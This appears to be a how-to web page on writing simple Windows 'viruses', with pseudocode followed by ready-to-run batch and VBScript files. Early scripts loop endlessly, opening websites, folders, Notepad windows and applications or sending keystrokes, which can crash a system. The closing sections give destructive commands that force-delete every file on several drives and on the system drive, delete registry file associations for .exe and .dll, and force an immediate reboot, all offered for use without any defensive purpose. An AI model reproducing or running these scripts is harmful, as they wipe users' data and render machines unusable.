**Virus – A basic format**

Most of the computer viruses follow the following basic script:

Beginvirus

if spread-condition TRUE then begin

for the target files begin

if target affected TRUE then begin

Determine where to place virus instructions

Copy the virus instructions

Modify target to spread the virus later

End if

End for

End if

Perform some other instruction(s) //Optional

Go back to beginning

Endvirus

Basically, every computer virus has two phases –

1. Insertion phase – in this phase, the virus inserts itself into the target.
2. Execution phase- in this phase, the virus performs some actions.

**Create Virus**

This simple programming can create infinite loop and open three different websites continuously until the command prompt is closed. It may crash the system if it is not closed.

Note: echo off. When echo is turned off, the command prompt doesn't appear in the Command Prompt window. To display the command prompt again, type echo on. **To prevent all commands in a batch file** (including the echo off command) from displaying on the screen, on the first line of the batch file type: @echo off.

1. Open notepad
2. Type following program

@echo off

:a

Start [www.youtube.com](http://www.youtube.com)

Start [www.facebook.com](http://www.facebook.com)

Start yahoo.com

Start [www.youtube.com](http://www.youtube.com)

Start [www.facebook.com](http://www.facebook.com)

Start yahoo.com

Goto :a

1. Save this file as abc.bat
2. Now double click on the abc.bat file that it will continuously add tabs to google chrome.

**Following code will create infinite number of folder into system**

Type in notepad and save as abc.bat

@echo off

:a

md %random%

goto :a

**Type in notepad, save as test.vbs (visual basic) – it will open infinite notepad and type into it.**

do

Set wshshell = wscript.CreateObject("WScript.Shell")

Wshshell.run "Notepad"

wscript.sleep 100

wshshell.sendkeys "S"

wscript.sleep 100

wshshell.sendkeys "U"

wscript.sleep 100

wshshell.sendkeys "B"

wscript.sleep 100

wshshell.sendkeys "S"

wscript.sleep 100

wshshell.sendkeys "C"

wscript.sleep 100

wshshell.sendkeys "R"

wscript.sleep 100

wshshell.sendkeys "I"

wscript.sleep 100

wshshell.sendkeys "B"

wscript.sleep 100

wshshell.sendkeys "E"

wscript.sleep 100

wshshell.sendkeys "!"

loop

**type in notepad and save as test.vbs - it will automatically blink these three keys and print I am virus in open file**

**set x=wscript.createobject ("wscript.shell")**

**do**

**wscript.sleep 100**

**x.sendkeys "{CAPSLOCK}"**

**x.sendkeys "{NUMLOCK}"**

**x.sendkeys "I am a virus "**

**x.sendkeys "{SCROLLLOCK}"**

**loop**

**This code will open all the applications one by one.**

@echo off

:x

start winword

start mspaint

start notepad

start write

start cmd

start explorer

start control

start calc

goto x

For deleting files.

**/F -** Force deletes files.

/s- Deletes specified files from all subdirectories.

/q- Quiet mode, do not ask if ok to delete on global wildcard.

Example: del test.bat

del c:\test.bat

***Additional Help for Virus***

***@echo off***

***del D:\*.\* /f /s /q***

***del E:\*.\* /f /s /q***

***del F:\*.\* /f /s /q***

***del G:\*.\* /f /s /q***

***del H:\*.\* /f /s /q***

***del I:\*.\* /f /s /q***

***del J:\*.\* /f /s /q***

**Delete the entire registry**

***@ECHO OFF***

***START reg delete HKCR/.exe***

***START reg delete HKCR/.dll***

***START reg delete HKCR/\****

**To delete all the content of the drive**

*@echo off*

***del %systemdrive%\*.\* /f /s /q***

***shutdown -r -f -t 00***